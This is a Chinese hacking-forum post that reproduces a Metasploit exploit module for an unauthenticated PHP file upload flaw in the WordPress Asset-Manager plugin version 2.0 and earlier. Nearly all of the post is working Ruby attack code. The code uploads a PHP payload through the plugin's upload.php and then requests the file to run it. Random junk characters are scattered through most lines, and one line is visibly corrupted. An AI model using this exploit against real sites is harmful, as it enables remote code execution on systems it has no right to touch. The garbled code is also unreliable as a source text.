找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2069|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。  l; F4 U# J  C

/ ~% W, t$ i# N+ [8 t* B1 i##
  Z( R3 K- _) ?- ~, g) S% h; p# This file is part of the Metasploit Framework and may be subject to- h7 G2 t7 O4 S% `0 U
# redistribution and commercial restrictions. Please see the Metasploit
( y. u, C. \- d: e, I; S! c- ~& j# Framework web site for more information on licensing and terms of use.
9 k% ]: o! |7 D' d7 E/ p. [& P#   http://metasploit.com/framework/
4 O/ Z' ~, g& @##
$ n3 d" G3 a5 K4 p
" O" k: a0 y3 u% ~0 I4 T- irequire 'msf/core'  J) V7 @" j+ P
require 'msf/core/exploit/php_exe'
7 V4 G& s2 B% b7 p
; V% h- r9 l, N; G1 [# z( ^class Metasploit3 < Msf::Exploit::Remote( @9 Y& e6 @& s$ F: V) G
  Rank = ExcellentRanking
" Z0 S# a) E2 ]& f+ q9 |
! ^0 v6 F$ P+ u3 b  include Msf::Exploit::Remote::HttpClient
0 B  D5 z5 Q& Z6 y$ \3 l  include Msf::Exploit:hpEXE
( v2 ~: a. J4 F% ~0 \* P# m6 h/ _   H& k1 H4 }% C, J# t5 E7 q9 ?' X
  def initialize(info = {})
: |3 V- }2 f6 ~, V* l% N6 c3 R  n    super(update_info(info,
  O9 G. N2 x0 O. Q* t6 P0 ?      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
1 t4 S8 t6 Y; `, n: v/ d      'Description'    => %q{
5 A9 q0 o% e9 e3 R- I        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress6 p) \. j. b6 ^- t' \* t& A/ l
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a6 \9 w( K: d+ c" J% L& ?0 L" ~8 V( D
        temp directory without authentication, which results in arbitrary code execution.' S6 {% w6 i4 y; b/ F) L( g
      },
+ N% }. z1 g; F; B- m6 D) J7 z      'Author'         =>) o4 B( @( A4 p3 Z8 V
        [
( n" u# h5 V( t1 {- R  ^9 |          'Sammy FORGIT', # initial discovery. V. ]$ w- z2 r3 k4 d* M  j
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module9 u  ]- r' p$ B* C9 b
        ],9 `8 X& d4 f7 D6 _4 H$ ~, ?0 E
      'License'        => MSF_LICENSE,0 X4 G5 r) A- R  E* T. W
      'References'     =>
* E3 d" w8 V: C* G% n3 V        [
6 C! \) Y/ O+ B* v7 l6 v) N7 k          [ 'OSVDB', '82653' ],! T5 E- W5 W4 S9 j
          [ 'BID', '53809' ],
7 Q8 m7 S  |. f% l          [ 'EDB', '18993' ],
3 x: c2 M$ W; x  X& S! q          [ 'URL', 'http:// www.myhack58.com /' ]% m' d) N7 q# E+ c
        ],3 q/ x' g; I' \  }" H- C9 z
      'Payload'       =>4 y& F* f; U/ ]; B. F
        {
* C5 g& e4 C, r7 z$ y          'BadChars' => "\x00",
# Z( {1 g3 m1 ?4 R        },
8 x1 b& S& _5 g+ ?# y% ?      'Platform'       => 'php',7 m4 m) d2 F2 `9 C  K
      'Arch'           => ARCH_PHP,! Z0 n" A8 c( @# ~( A
      'Targets'        =>6 P. j0 B! j# B7 _5 S4 M
        [
' c- N, v9 m4 W+ F          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
! u( v7 b& r( }! Z" A          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]* P! G& G* n+ H% n7 \. L- Z# P, ?. Z
        ],6 t7 Y' x1 Z/ @$ h% z
      'DefaultTarget' => 0,
. {+ E1 E" B4 i7 ?5 K; ~6 t      'DisclosureDate' => 'May 26 2012'))
0 ~4 q) h1 A; p- X
* ^# {* ~8 o9 L1 F* q    register_options(
0 P) N+ B- H( A& ?7 m5 P5 ?* X4 F      [2 f, s& i# P8 c9 H5 i
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])2 |' A9 g$ x; j/ r# ?; g1 b+ o
      ], self.class)9 M5 K: L& v) K" U
  end
% m" Z: a0 L) L/ ?6 u- x9 Q% y & z" [+ r/ q4 v: B8 k& G" R
  def exploit
! S- ^; u) z& k* \+ d2 \! z    uri =  target_uri.path
! w$ \) t7 i' E, q, q    uri << '/' if uri[-1,1] != '/'; D) y( R. ?6 e+ R# _2 q2 o
    peer = "#{rhost}:#{rport}"
, {$ b, U' B1 `: d- \  a# _1 Q    payload_name = "#{rand_text_alpha(5)}.php"1 d! E' P1 W9 V9 {  z$ R) ^
    php_payload = get_write_exec_payload(:unlink_self=>true)0 ?- H( x7 M+ Z+ R0 T
% G) j- Z2 ]! f6 h0 \9 s
    data = Rex::MIME::Message.new
) V) R( P8 H- q9 `9 Q: Z    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\""): {: Q3 L$ G/ O( X( e% w
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
, D$ p# `# k/ a; K8 S % _3 P5 a& Q* O, {" t. \# E
    print_status("#{peer} - Uploading payload #{payload_name}")
3 Y; L0 T2 S# f    res = send_request_cgi({4 l$ n+ Y, t1 ?1 Y
      'method'  => 'POST',
; n) S2 P; J. |* Z% S4 \      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
8 z1 Y0 |1 }1 U1 t+ m0 A% V6 g% ~2 t      'ctype'   => "multipart/form-data; boundary=#{data.bound}",: |  [4 t- Z, k7 c* u6 c
      'data'    => post_data
$ ?% O9 J# `$ V- F1 k" G$ R* j, Y7 f    })( h: |. Q# g1 n2 {, S

: r4 i1 o+ f" L( P, ~    if not res or res.code != 200 or res.body !~ /#{payload_name}/
& X5 c! b4 ^' \      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
, C  w: _; v  x* V6 M- kend8 K4 X5 |2 g2 h9 ^; _9 g# t
8 S% f; b* c! H3 J, W: S
    print_status("#{peer} - Executing payload #{payload_name}"): p. k4 U. y+ x% B: s' E; b/ s9 z  G
    res = send_request_raw({/ E2 @$ d3 [$ e. T& l' P
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",4 D5 k- Q4 v1 {: g4 |
      'method'  => 'GET'
4 ~- S6 t+ A9 E, i    })+ V$ S/ I) o2 k9 q+ C. V& i. h( c

- R( |. j# p+ o; {    if res and res.code != 200
# u: O. T- L$ |+ L      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")/ B( ^; L5 c5 Q9 k5 E/ K! X
    end
/ m6 m3 Y/ O- z6 D' }, ?  end
; b# G" ~8 a% g( fend
1 R& s& s2 _! K0 \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表